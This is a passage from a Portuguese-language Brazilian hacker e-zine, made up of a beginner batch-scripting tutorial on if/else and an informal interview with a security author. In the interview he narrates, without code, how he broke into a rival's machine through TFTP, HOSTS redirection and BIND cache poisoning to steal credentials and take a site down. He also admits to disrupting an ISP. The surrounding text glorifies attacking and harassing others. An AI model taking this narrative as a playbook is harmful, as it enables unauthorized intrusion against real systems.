	CCCCC                          SSSSS     zZ     II NN  NNN EE
	 CCCC       CCCCc   sSSSS       SSSS    zZ      II NN   NN EEEEE
	  CCCCCCCCCCCCCC     SSSSSSSSSSSSSS    zZ
	    CCCCCCCCCC         SSSSSSSSSS     zZ
	                                     zZ
	                                    zZ
	                                  zZZZZZZZZZZZZZZZZz



    PS: Se você não conseguiu lêr direito, aí em cima tah escrito CSZine.

Caras, não tenho palavras para descrever uma elite, elite é elite, ou em outras palavras:
elite é foda!!!!!!! Um dia eu conheço esse maluco pessoalmente, o cara é muito, muito
foda!!!! Lembram que postei links para a F3 na C.O.D.Ex00? Essa ae também é uma 
zine do Cheat Struck, essa foi a primeira zine que ele escreveu, depois ele passou anos
e mais anos trancado em um quarto (hauhauh!!!) estudando para escrever uma mais
avançada, ai surgiu a 'F3' que virou uma lenda das e-zines hacker brasileiras. Espero 
que gostem dessa e-zine, pois eu gosto muito. Lembrando que essa e-zine É RARA!!!
Totalmente dificil de se encontrada, mas a C.O.D.E está aqui é para trazer raridades
para voces amigos =) Ah! Elite é foda!!!!!!!!!!!!!!!!


http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_01.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_02.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_03.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_04.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_05.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_06.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_07.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_08.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_09.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_10.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_11.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_12.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_13.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_14.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_15.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_16.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_17.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_18.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_19.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_20.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_21.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_22.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_23.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_24.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_25.txt

----- C4p1Tul0 07

[=] + =======xx==============xx=========== + [=]
         Programando em Batch Parte 3
[=] + =======xx=============xx============ + [=]


Parte 3!!! Isso mesmo cara, tudo que tinha na C.O.D.E x01 vai continuar aqui (dã, dã),
ou seja, não pegue o bonde andando, se voce não tem a code x00 e x01 baixem aqui:

http://www.hunterhacker.xpg.com.br/CODEx00.txt 
http://www.hunterhacker.xpg.com.br/CODEx01.txt 

================================
Controle de fluxo em batch - 'if' 
================================

Controle de fluxo nada mais é que voce inserir no seu programa algo do tipo:
'Se voce digitar isso vai acontecer isso:', 'se existir isso aqui vai contecer isso aqui:'.
E assim vai. Esses são os operadores de comparação que são utilizados com o 
comando 'if' no batch:

 EQU - igual
 NEQ - diferente
 LSS - menor que
 LEQ - menor que ou igual
 GTR - maior que
 GEQ - maior que ou igual

Exemplos (espero que tenham lido as C.O.D.Es anteriores antes de proceguir):

------ cut ------ 

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
pause 

------ cut ------ 

Esse script exibe a mensagem 'Digite o numero que estou pensando:' e armazena o que 
foi digitado na variavel 'numero' e abaixo ele vai fazer uma comparação do que o user
digitou (if %numero% == 10), se o que o maluco digitou for igual (==) a 10 ele exibe
a mensagem: Ei cara, acha mesmo que eu estou pensando no %numero%?. 
Simples, repara que utilizei o '==' ao invez dos outros =) nem preciso de muito lega-lenga
como diz minha amiga Íris. Vamos fazer varias comparações agora. 

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)
pause 

------ cut ------

Esse script acima "espera" o usuario digitar um numero (set /p numero=Digite...), e armazena
o que ele digitou na variavel numero (%numero%), lembram que para ser referir a uma variavel
em batch utilizamos o sinal de percento (%)? Então para comparar voce tem que usar o sinal 
'%', mas não precisa colocar para declarar (nesse caso). O que? Não sabe o que significa 
declaração?

set /p numero="Ei ei ei <--- Isso e uma declaracao"

Acima declarei a variavel 'numero' =) Ou seja, declarar é voce escrever no seu codigo alguma 
coisa, tipo, também declarei que a  variavel (numero) seria do tipo 'char' rsrs hauhau!!!
Desculpem a piadinha, o /p é o que determina o tipo da minha variavel, e esse tipo armazena
string (texto =). Pronto, sem muito lenga-lenga (acho que não foi legal passar a noite
com a Iris ontem XP). 

Ja que voce sabe que para comparar precisamos utilizar o sinal de percento ('%') 
antes e depois do nome da variavel (Exemplo: %Variavel%. Caso contrario o 
windows nem vai saber que voce quer comparar o valor digitado pelo user),
vamos passar para as proximas etapas. Se esse numero (que foi digitado pelo user)  
for igual a 10 ele continua exibindo a mensagem: 'Ei cara, acha mesmo que eu estou 
pensando no %numero%?' Caso o usuario digite 24 (hum...) o script exibe a
mensagem: Linda rosa que te leva infeliz rsrs. Repare bem ae mano, utilizei o '(' para 
abrir o bloco de codigo que executa a ação e utilizei o ')' para fechar o bloco de 
codigo que executa a ação, que será executada após um dos numeros digitados pelo 
usuario coincidirem com os numeros que se comparados com a variavel, executam 
a ação, no caso os numeros que serão comparados com a variavel (comparados com
o que o user digitou) são 10 e 24 (hum... Linda rosa que te leva) Detalhe: Pra quem 
não sabe o 'if' significa 'se' em portugues, ou seja, estou falando a mesma coisa que:

se %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
se %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)

Repare ae em cima no 'se' (Entendeu? =). Caso o usuario digite algo que não tem nada aver 
com 10 ou 24 o script continua a executar o que "não" está dentro do bloco de codigo 
('(' e ')'), ou seja, ele continua executando o que vem depois, que no caso é o tal do
'pause'. Detalhe: Depois que o user digita 10 ou 24 ele ainda continua executando o 
'pause', CLARO QUE DEPOIS QUE ELE EXECUTA O QUE ESTÁ DENTRO DO 
BLOCO DE CODIGO =) Mas se dentro do bloco de codigo contem o comando 'exit'
obviamente que ele nem vai chegar até o comando 'pause' que está fora do bloco de codigo =] 

=========X==================X======
Controle de fluxo em batch - 'else' 
=========X==================X======

Bem, o 'else' pode ser lido como: 'caso voce não faça o que eu quero eu mostro isso'.
Exemplo:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (
echo Linda rosa que te leva infeliz rsrs) else (echo Ei mano, voce nao digitou 24 huahauh!!!)
pause 

------ cut ------

Resultado:

Digite o numero que estou pensando:10
Ei cara, acha mesmo que eu estou pensando no 10?
Ei mano, voce nao digitou 24 huahauh!!!
Pressione qualquer tecla para continuar. . .

C:\> Chega de langa-lenga!!! hauha!!! Vou parar de explicar a mesma coisa varias vezes =)

Mais exemplos:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% EQU 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) 
if %numero% NEQ 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause 

------ cut ------

Caso o user digite 10 o resultado é esse:

Digite o numero que estou pensando:10
Ei cara, parabens!!! Voce digitou 10?
Mas continua nao digitando o 24 rsrs
Pressione qualquer tecla para continuar. . .

Reparem que utilizei os operadores de comparação EQU (Equivalent) e NEQ (Not Equivalent). 
Ou seja, disse isso aqui:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
@echo off &cls
set /p numero=Digite o numero que estou pensando:
SE %O que o usuario digitou% == 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) 
SE %O que o usuario digitou% NÃO 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Se o que o usuario digitou for equivalente (EQU - igual a) 10 ele exibe a mensagem acima,
se o que o usuario digitar NÃO (Não Equivalente - NEQ) for igual a 24 ele exibe outra 
mensagem, mas olha só que legal rapazida, 10 é igual a 24? Não! É por isso além do
programa exibir a mensagem

echo Ei cara, parabens!!! Voce digitou %numero%?

Ele ainda exibe:

echo Continua nao executando o 24 uhuhauha!!!

Porque eu programei ele para exibir essa segunda pensagem quando um usuario NÃO digitar 
o que eu quero =) Com esse esquema meu fi, o usuario só tem duas escolhas:

Sim ou SIM 

Huahuahuh!!!! Ja fiz muitos virus nesse esquema hauhauh!!! Dava ao usuario uma falsa sensação 
de escolha hauhuaha!!! Livre arbitril ou arbitriu ou arbitre (Não sei, não sou evangelico 
hauha!!!) só no céu baby hauhauhau!!! Entendenram? O MANIACO DA EXPLICAÇÃO 
DETALHADA ESTÁ DEVOLTA!!!! Com suas piadinhas sem graça e tudo mais Hauhauh!!!

=======X==============X=============================X=
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
=======X==============X=============================X=

Muitas vezes voce necessita que seu script faça comparações de strings digitadas pelo usuario,
isso é muito importante como voces verão mais a frente na seção 'Telnet Secure', nesse exemplo
me utilizei do método autenticação fornecido pelos scripts em batch para dar um segunda 
camada de segurança ao meu computador, fazendo com que seje necessario a utilização 
de uma segunda senha em uma seção telnet 'já estabelecida'. Se voce tiver imaginação 
(coisa que não me falta) e tiver conhecimento em batch, garanto que fará muitas coisas boas e 
completamente bizarras com simples scripts em batch (Experiencia propria =). 
Vamos aos exemplos:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if %password% EQU %senha% (echo Bem vindo amigo) 
if %password% NEQ %senha% (echo Desculpe, senha invalida)
pause 
------ cut ------

Se voces acompanharam a C.O.D.E x01, viram que para declararmos uma variavel em batch 
utilizamos o comando 'set', nesse script o que fiz foi basicamente declarar uma variavel 
de nome 'senha' ('set senha' =) que recebe o valor (dados) 'luzinha', que como voce pode 
ver é texto (nada de numero rsrs =). Abaixo verá que declarei outra variavel chamada 
'password' (que significa 'senha' em portugues) que exibe a mensagem 'Digite sua senha' e 
'PARA' a execução do script ATÉ que o usuario digite sua senha, quando o usuario digitar 
algo, esse algo vai ser armazenado na variavel 'password' e logo abaixo vai rolar uma 
comparação de valores. Reparem aqui:

Linguagem Batiana hauhau!! (Não vem do Batman rsrs):

IF "%password%" EQU "%senha%" (echo Bem vindo amigo) 
IF "%password%" NEQ "%password%" (echo Desculpe, senha invalida)

Tradução (Em nossa lingua, chega de falar morcegal): 

SE "%O q o user digitou for%" Equivalente a: "%O valor da variavel 'senha'%" (
echo Eu exibo essa mensagem aqui: Bem vindo amigo )

SE "%O q o user digitou%" Nao for equivalente ao: "%Valor da variavel 'senha'%" (
echo Eu mando ele chupar uma manga hauhau!!! )

Ou poderar incurtar as coisas utilizando o 'else', exemplo:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause 
------ cut ------

Se o que o usuario digitar for igual a 'luzinha' ele exibe a mensagem Bem vindo e tals, 
caso contrario (ELSE) ele exibe Deculpe, senha invalida. O 'else' é uma forma de revolta
que inventaram cara huahuha!!! Ele diz assim: 'IF' não é assim, 'ELSE' então toma infeliz
hauhauh!!! Maneiro rsrs.

Detalhes Detalhes, voces sempre surgem =)

Reparem nesses resultados:  

Digite sua senha:luzinha   --> O cara digitou certo ('luzinha')
Bem vindo amigo          --> Isso prova que ele digitou certo ('luzinha')  
Pressione qualquer tecla para continuar. . .

Mas e se por algum acaso da vida o cara digitase ao invez de 'luzinha' em letras minusculas, 
ele digitasse isso: LuZiNha, LUZINha, LUzinha (que não deixa de ser a senha). O que fazer 
para o script autenticar a senha ou login ou ambos? Obviamente caso voce não queira inserir
nenhum recurso de login case sensitive. Para quem não sabe 'case sensitive' significa que a 
senha diferencia letras minusculas de letras maiusculas. Para autenticar todas
as formas de escrita (minusculas e maiusculas) foi criado o '/I'. Vamos a um exemplo de 
utilização do /I ou /i como preferir, pois o DOS não é 'case sensitive', ou seja, não 
diferencia letras minusculas de maisculas (Eu sou o professor do ano rsrs =) 

Mas antes gostaria de comprovar que da erro =) 

=============================
Digite sua senha:LUZINHA
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .
=============================

Vamos ver o novo code:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if /I %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause 
------ cut ------

Repare que a unica coisa que mudei nesse code com relação ao code anterior foi o '/I' 
depois do 'IF', reparem ai:

if /I %password% EQU %senha% (

Utilizando o '/I' depois do 'IF' significa que ele vai fazer a comparação do que o usuario 
digitou (%password%) com o valor da variavel 'senha' não se importando com letras 
minusculas ou maiusculas. Vamos ao resultado.

Resultado:

Digite sua senha:LUZINHA
Bem vindo amigo
Pressione qualquer tecla para continuar. . .

Simples, muito simples, ou em outras palavras:

SVEB -> Simple, Very Easy Baby =] 

Obviamente que se voce for um maniaco por portugues ira querer que o user digite o 
começo da senha com letras maiusculas certo? Então apenas faça isso:

set senha=Luzinha

E não insira DEPOIS do 'IF' o '/I', isso faz com que seje necessario a utilização do 'L' 
maiusculo no começo da senha (como voce definiu la em cima =). Para dificultar a vida 
dos caras voce pode ir fazendo isso véi: 

set senha=LuZ1nh@#

Podera utilizar metodos de autenticação que exigem caracteres especiais como o arroba (@)
ou a 'tralha' (#). Se o que o cara digitar contiver um errinho se quer vai dar... PAU!!!
Exemplos:

Acertou!!! 

Digite sua senha:LuZ1nh@#
Bem vindo amigo
Pressione qualquer tecla para continuar. . ..

Errou!!!

Digite sua senha:Luz1nh@#
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .

Meu erro ai em cima foi ter digitado o 'z' com letra minuscula =). Só para lembrar amigo,
repare nessa linha aqui: @echo off &cls. Alguns de voces não devem conhecer este operador 
--> '&', mas para quem não sabe gostaria de dizer que o 'E Comercial' é o operador 
responsavel pela execução de dois comandos em uma mesma linha no seu script ou até mesmo
quando voce executa ele no shell do DOS, nesse caso é desativado o eco do comando e logo
em seguida a tela é limpa (utilizando o comando cls). Se eu quizese ver a data atual e 
ainda ver a hora eu poderia inserir apenas uma linha no meu fonte, exemplo:

------ cut ------
@echo off
date &time
pause
------ cut ------

resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Hora atual: 21:32:50,53
Digite a nova hora:
Pressione qualquer tecla para continuar. . .

Isso é bastante utilizado por mim, principalmente para inserir comentarios nos scripts 
que desenvolvo, pois o 'ReM' que é utilizado para inserir comentarios em arquivo em 
lotes ou no CONFIG.SYS, ainda continua sendo um comando, lembra que o '&' 
permite que eu escreva dois OU MAIS comandos na mesma linha? Por isso me 
sinto no direito de escrever o comando no '.bat' e colocar na frente o que ele faz =)

Exemplo:

------ cut ------
@echo off &ReM -> Aqui eu desligo o eco do comando 
date &REM Aqui eu quero ver a data
echo Beijo xuxa &rem Aqui eu to mandando um beijo pra xuxa rsrs =)
pause
------ cut ------

Resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Beijo xuxa
Pressione qualquer tecla para continuar. . .

Vale lembrar para os iniciantes que nenhum tipo de comentario é exibido na execução dos
scripts (como voce pode ver acima), pois a real função dos comentarios é ajudar outros 
programadores a ter um bom entendimento de seus fontes (nada mais), porque voce vai 
estar comentando toda ação, nesse caso 'todo comando' =) Com os comentarios você
também poderá inserir creditos, licença, instruções de uso e até piadas hehe. Vale lembrar
também que não é exibido nenhum tipo de comentario porque utilizei o '@echo off' no 
começo do code. O interesante do controle de fluxo é justamente possibilitar a voce a 
escolha de controlar cada coisa que vai acontecer =)

Mais exemplos:

Esse script abaixo testa se o que o usuario digitou é maior ou igual a 10, vou utilizar o 
operador 'GEQ' que significa: 'Maior que, ou igual'. =) 

------ cut ------

@echo off &cls & color a
set numtest=10
set /p num1=Digite um numero:
if %num1% GEQ %numtest% (
echo voce digitou um numero maior ou igual a %numtest%) ELSE (
echo voce nao digitou um numero maior ou igual a %numtest% =])

------ cut ------

Esse abaixo analisa se o que o usuario digitou é menor que 5, repare que ele apenas 
analisa se é menor, ou seja, se o usuario digitar cinco ele ainda vai mostrar a 
mensagem: Não é igual a cinco maluco. Porque estou utilizando um operador que só 
faz um tipo de comparação que é:

Verificar se é menor.

Ponto. Sem muito lenga-lenga XP. ah! O operador (como voces podem ver) é o LSS, que 
significa 'menor que' =)
  
------ cut ------
@echo off &cls & color a
set numtest=5
set /p num1=Digite um numero:
if %num1% LSS %numtest% (
echo Seu numero e menor que %numtest% %username%) ELSE (
echo voce nao digitou um numero menor que %numtest% %username% =])
------ cut ------

Repare que estou utilizando a variavel de ambiente (%username%) que armazena 
o nome de usuario do maluco, para o script exibir uma mensagem mais legal. Vejamos.

Resultado:
-------------------------------------------------------------------------------------------
Digite um numero:-2
Seu numero e menor que 5 David  <-- Repara no 'David', David é meu nome de usuario =)
-------------------------------------------------------------------------------------------
Digite um numero:10
voce nao digitou um numero menor que 5 David =] 
-------------------------------------------------------------------------------------------
Digite um numero:5
voce nao digitou um numero menor que 5 David =]
-------------------------------------------------------------------------------------------

Sempre podemos utilizar variaveis de ambiente em nossos escripts, este ai é um belo exemplo 
disso, David é o valor da variavel de ambiente %username% e que por sinal é meu username 
(nome de usuario =) que está armazenado nesta variavel. Também podemos comparar valores
digitados pelo user diretamente a uma string, ou seja, não precisamos comparar valores de 
duas variaveis.

------ cut ------

@echo off &cls & color a
set /p algo=Digite algo:
if "%algo%" EQU "Queijo" (
echo voce digitou Queijo! & pause) ELSE (
echo voce nao digitou Queijo :( & pause )

------ cut ------


Repare nas aspas e em tudo ai em cima, pois estou cançado de escrever XP. Até a proxima 
parte do curso onde iremos falar mais do IF e essas paradinhas da vida ;-) 

                                                 
                                                      ---- Batch é uma arte mano. 
                                                     By 6_Bl4ck9_f0x6 (Myloveluz)

----- C4p1Tul0 08

[X=========X=======================X==========X]
   Entrevista com Marcos Flavio Araujo Assunção
[X=========X=======================X==========X]

Aí está cambada, a tão esperada entrevista, espero que gostem de mais uma excelente materia
da C.O.D.E. Gostaria de agradecer mais uma vez ao Marcos por ter aceitado dar a entrevista 
e gostaria de cobrar o paper que ele disse que ia escrever pra minha zine =) To esperando rsrs.

Starting...

[Eu]: 

Ola Marcos, primeiramente gostaria de agradecer por voce ter aceitado a proposta de ser 
entrevistado. Tenho certeza que os leitores da C.O.D.E depois desta entrevista vao te ver 
com os meus olhos, ou seja, vao ver que voce e um dos muitos "Brasileiros" da elite (me
refiro a elite HACKER). Voce sabia que sou seu fa? Na verdade eu sou fa de um monte de 
gente ae, mas sou seu fa tambem, diga o quanto essa entrevista é importante pra vc rsrsrsr,
ei! isso foi uma brincadeira eheh, enfim, me conte quando e como começou seu interesse 
por hacking. 
 
[Marcão]:

Haha, de boa, o prazer (da entrevista, óbvio), é meu... risos. Bom, olha só... eu sempre 
gostei muito de informática e programação... lá pra 1994 ou 1995, quando eu tinha uns 
14 anos, comecei a trabalhar em uma empresa de informática como "info-boy". É aquele
que ia na casa dos clientes instalar os softwares por disquete. (Windows = 15 disquetes. 
Ninguem merece). Enfim, pouco tempo descobri a minha vontade de sempre ser mais e 
mais curioso e aprender todo dia um pouco além do que eu já sabia. Isso me levou a me
tornar professor nessa empresa, após uns 3 ou 4 meses lá. Nessa mesma época eu 
conheci as famosas BBS (Bulletin Board Systems) e me apaixonei. Acessava BBSs do 
Brasil e do mundo todo. Foi nesse ambiente que eu comecei a ter contato com materiais 
voltados para "hacking". Foi o casamento perfeito, mais de dez anos depois continuo 
apaixonado com o assunto.

[Eu]: 

Antigamente a nossa classe especial de seres humanos (hackers), costumava botar medo
em civis, mas hoje esta tudo mudado, tem lammer que chega pra gente no msn e diz que
agente nao consegue invadir o PC dele (ate que alguem vai la e transforma a vida desse 
lixo num inferno), nossa moral esta caindo, as elites nao sao mais respeitadas hoje em dia.
Voce, como eu e um monte de gente ae "das antigas", acha que o mundo hacker entrou 
em decadencia? Diga-me o que acha da cena hacker nos dias de hoje e me fale sobre a 
triste realidade que nos vivemos com relaçao a ninguem desenvolver mais nada para 
contribuir com a cena "Brasileira".

[Marcão]:

O problema maior hoje é o fim do mistério. Como eu dizia, na época das BBS era tudo mais
difícil. Pra conseguir aprender alguma coisa você tinha que saber inglês pra poder ler o FAQ 
da ALT.2600. Pra conseguir esse faq você tinha que acessar a USENET. Pra acessar essa 
rede, você tinha que descobrir um servidor NNTP que fosse público e configurar em algum 
software que permitesse. Enfim, dava mais prazer aprender pois dava a sensação tipo de uma
maçonaria, um pequeno clube secreto. Hoje, utilizando o google e um ou dois cliques, você 
consegue tudo isso com muita facilidade, em português, com ferramentas próprias e prontas 
pra ser usadas. Essa "aparente facilidade" faz com que os novatos acreditem que as coisas são
muito simples, pois a maioria não consegue ver a diferença entre "invadir" e "quebrar a 
segurança". Invadir pode ser feito com princípios de engenharia social, o que torna o ato 
fácil para até crianças de 5 anos. "Quebrar a segurança" exige conhecimentos avançados, 
e alguém que não conheça um mínimo de programação, rede e SOs não chegaria nem perto 
disso. E nem mencionei o fato de alguns inúteis que se auto-denominam "carders" sujarem 
ainda mais a cena atual do hacking, fazendo com que o termo hacker seja sinônimo de ladrão.

[Eu]: 

Marcos, gostaria de lhe pergunta o que voce acha dos malditos lammers, digo "lammers", 
"NAO bgners", voce e do tipo que deseja a forca para esses lixos? Mande seu recadinho 
para essa escoria. 

[Marcão]:

Begginers ou iniciantes, todos nós já fomos. Nada mais normal que isso. Afinal, você sempre
será um iniciante em algo que nunca fez. Mesmo que eu conheça bem de redes, não entendo
nada de modelagem 3D, eu seria um principiante nessa àrea. Então, para as pessoas normais 
elas sabem que sempre vão precisar aprender mais pois conhecimento não é medido de forma 
vertical apenas... não existe conhecer mais ou menos, apenas de forma diferente. 
Ninguém sabe todos os detalhes de determinado assunto e sempre podemos aprender trocando 
informações com outros. O problema dos lamers é que, logo na primeira ou segunda coisa 
que aprendem já se acham os donos do mundo e ficam criticando outros. É triste pois serão 
eternamente inferiores à aqueles com humildade.

[Eu]: 

Legal, agora vamos as perguntas construtivas, esta pronto? 

[Marcão]:

Manda bala.

[Eu]: 

Espero que saiba que estou copiando e colando as perguntas, estou pressionando a tecla x e 
apagando so pra voce achar que eu estou digitando algo ae eheh Brincadeira.

[Marcão]:

hehe, de boa. 

[Eu]: 

Pergunta um:

Baixei sua entrevista para o cara do programa online e ele falo daquele tal grupo hacker 
terrorista que nao me recordo o nome agora (pra nao sujar a entrevista sabe, detesto 
divulgar gringo), entao, gostaria de lhe perguntar qual a tecnica que utilizou para fazer 
deface no server dos gringotes, lembro-me que na entrevista voce nao disse muita coisa 
nao, fico falando que tinha feito um troço la e o cara caiu, gostaria que voce contase a 
historia direito para os leitores da C.O.D.E, sei que voce e preguiçoso pra escrever e pra
ler e tals, mas num te preocupa eu tenho todo o tempo do mundo ehhe. ah! Quanto mais 
tecnico melhor.

[Marcão]:

Preguiçoso eu? imagina... kkk. Olha, não vou falar demais disso não pq já me encheu o saco
essa história. Mas vou comentar alguns detalhes que ocultei disso até hoje pra encerrar esse
caso de vez. Começou assim: um colega meu de Fortaleza me passou um link desse tal de
HAA. Eu abri o site e achei até interessante a crítica que eles estavam fazendo aos EUA.
Postei em alguns fórums e passei por e-mail a história pra um conhecido jornalista meu, que
mandou um e-mail para os caras e entrevistou eles. Quando eu li a tal "entrevista", eu 
choquei. Isso porque um dos tais "membros" se auto-denominava "Sombrio". Esse é um 
nick que eu utilizava na época que eu fazia parte de um grupo , o UHOL, mais ou menos
em 1996/1997. Cismei que não era mera coincidência e que o cara provavelmente me 
conhecia. Fiquei curioso e perguntei ao meu colega de Fortaleza como esse site tinha chegado 
nas mãos dele. Me disse que recebeu de e-mail de um hacker de Recife que ele conhecia,
mas não quis me passar o contato, disse que o cara era sistemático, etc. Enfim, eu mandei 
um e-mail para o contato deles no site do Hackers Against America utilizando um pouco 
de Engenharia Social, falando que eu achava que não era legal o que estavam fazendo, 
especialmente de querer realizar um ataque contra o The New York Times (tava na página
 deles isso) e tal. Recebi uma resposta então em português bem claro me mandando ir
para um certo lugar e continuar a enganar as pessoas de Lavras com o meu "anti-trojans".
É um programa que eu criei antes do Valhala, mas que deixei de mexer faz tempo. E o
fato dele citar a cidade de Lavras (onde eu morava na época... ), Tive certeza então que 
era alguém que eu conhecia das antigas... até imaginava quem, um antigo desafeto do meu
ex-grupo que se mudou pro nordeste. Enfim, peguei o IP do cabeçalho do e-mail dele, e vi 
que era originário do Recife, utilizando Velox. Comprovei o que eu achava.
 A partir daí, fiz o seguinte: passei o NMAP no PC dele, pra obter o fingerprint do OS. Deu 
que era Windows 2000/XP/2003 (um dos 3). Alguns dos serviços encontrados remetiam 
principalmente ao XP. Exemplo: 5000 (UPNP). Mas ao mesmo tempo haviam serviços estranhos,
 como RLOGIN e RSH habilitados. Também vi o DNS e o TFTP. Ao passar a opção -A do 
NMAP no DNS por exemplo, ele me resultou que seria o BIND. Mas BIND pra Windows? 
Deduzi que ele havia instalado o CYGWIN para realizar testes, uma espécie de 
"tradutor-emulador" de Linux para Windows. Tive uma idéia então: normalmente o CYGWIN 
quando mal instalado, coloca o servidor TFTP pra operar da raiz "C:\". Tentei fazer upload de 
um arquivo HOSTS modificado , colocando o Domínio da página deles para cair no meu IP. 
Algo como um DNS Spoofing. Busquei também um exploit mais recente do BIND, que 
realizasse Cache Poisoning (envenenamento de cache) com o mesmo fim, redirecionamento do 
domínio haa.narod.ru para o meu IP atual. Um dos dois funcionou: alguns minutos depois, ao 
abrir o meu Valhala Honeypot e configurar um servidor FTP para a escuta, eu recebi a conexão
da minha "vítima", peguei login e senha de acesso do site real e tirei o mesmo do ar logo 
depois, deixando uma "mensagem" para irritar o meu coleguinha. Pouco tempo após isso, vi 
aparecer um texto no Zone-H falando que eu havia criado o site e retirado do ar. Fiquei 
estupefato. Fui ler o texto e fiquei procurando o que eles teriam apresentado como "prova" do 
que diziam. Basicamente no texto dizia: que como o meu primeiro livro era para iniciantes,
minhas colunas também, eu também utilizava Velox (o que por sinal é uma estupidez. O 
Velox está em mais de 12 estados brasileiros, milhares de usuários) e outras bobagens. Creio
que se eu quisesse fazer um teatro como eles diziam, o MÍNIMO a fazer é mascarar o meu IP.
Se eu sei diversas maneiras de fazer isso (proxys, spoofing, anonymizer, tor, etc) por que eu 
deixaria o meu IP real aparecesse se fosse realmente culpado? Enfim, acho que teve um dedinho 
do meu "colega revoltado" que criou o site, provavelmente enviando e-mails para sites 
especializados com a bomba de que "Marcos Flávio forjou o site terrorista" e coisa do tipo. 
Por último, me acusaram de tentar "divulgar" o Valhala Honeypot para realizar a venda do 
mesmo. Só se esqueceram de consultar o sourceforge no qual meses antes do ocorrido estava lá
de todo tamanho: OPEN SOURCE.


[Eu]: 

Acho que ja deu para notar que essa entrevista naum e nem um pouco formal, ou seja, digamos 
que seja um conversa entre amigos e por isso gostaria de uma informaçao sua, um tanto quanto 
comprometedora, tipo, vc ja fudeu algum host fora o dos gringos terroristas? Se ja detonou,
me fale mais sobre isso, gostaria de divulgar suas açoes.

[Marcão]:

Não... nunca fiz o estilo Cracker... só desliguei um provedor de internet em Lavras uma vez, 
durante o final de semana todo, impossibilitando a todos os usuários dele acessarem a net. 
Mas isso eu era adolescente tb... tinha uns 16, 17 anos na época. Não curto muito fazer 
defaces não, nunca vi muita utilidade em competir "quem pixa mais".

[Eu]: 

Andei reparando em seus videos para o DEFHACK e na maioria dos seus videos "por fora"
e percebi que uma grande parte dos mesmos sao baseados nos ensinamentos de sua 
certificaçao, o CEH, pra te falar a verdade acredito que todos os macetes que vc ta ensinando
nos videos voce aprendeu la ('eu acho'), tipo : ADS, Fake URL, Spoofing (usando sterm),
Hijacking de telnet, Trojan Beast, Cain, etc. Eu andei absorvendo toda a certificaçao e vi 
que existe muita coisa boa. Enfim Marcos, me conte o que de bom o CEH lhe trouxe e
diga para os leitores da C.O.D.E o quanto que ela pode nos beneficiar.

[Marcão]:

Olha, muitas dessas técnicas eu já conhecia antes de estudar para a certificação. Mas a CEH 
realmente me trouxe muito conhecimento, pois é um certificado muito interessante. Afinal, é 
o primeiro tipo de certificado formal de que você sabe realizar um penetration test, ou teste 
de invasão. Não vou dizer que a CEH lhe certifica que é um hacker, pois isso não é 
relacionado com o seu nível de conhecimento apenas e sim ao seu nível de criatividade. Mas 
é muito satisfatório você receber um certificado assegurando que você sabe invadir um 
sistema. Melhor ainda: reconhecido internacionalmente.

[Eu]: 

Me conte de onde surgiu a ideia de criar um honeypot, me refiro ao valhala. Gostaria de dizer
que ele é bom, acompanho a evoluçao dele a muito tempo e vejo que a cada nova versao 
voce se supera. Existem varios carinhas fazendo Honeys em Delphi, creio eu que na esperança 
de se comparar ao valhala, alguns até fazem seus honeys "com a mesma interface" e mesma 
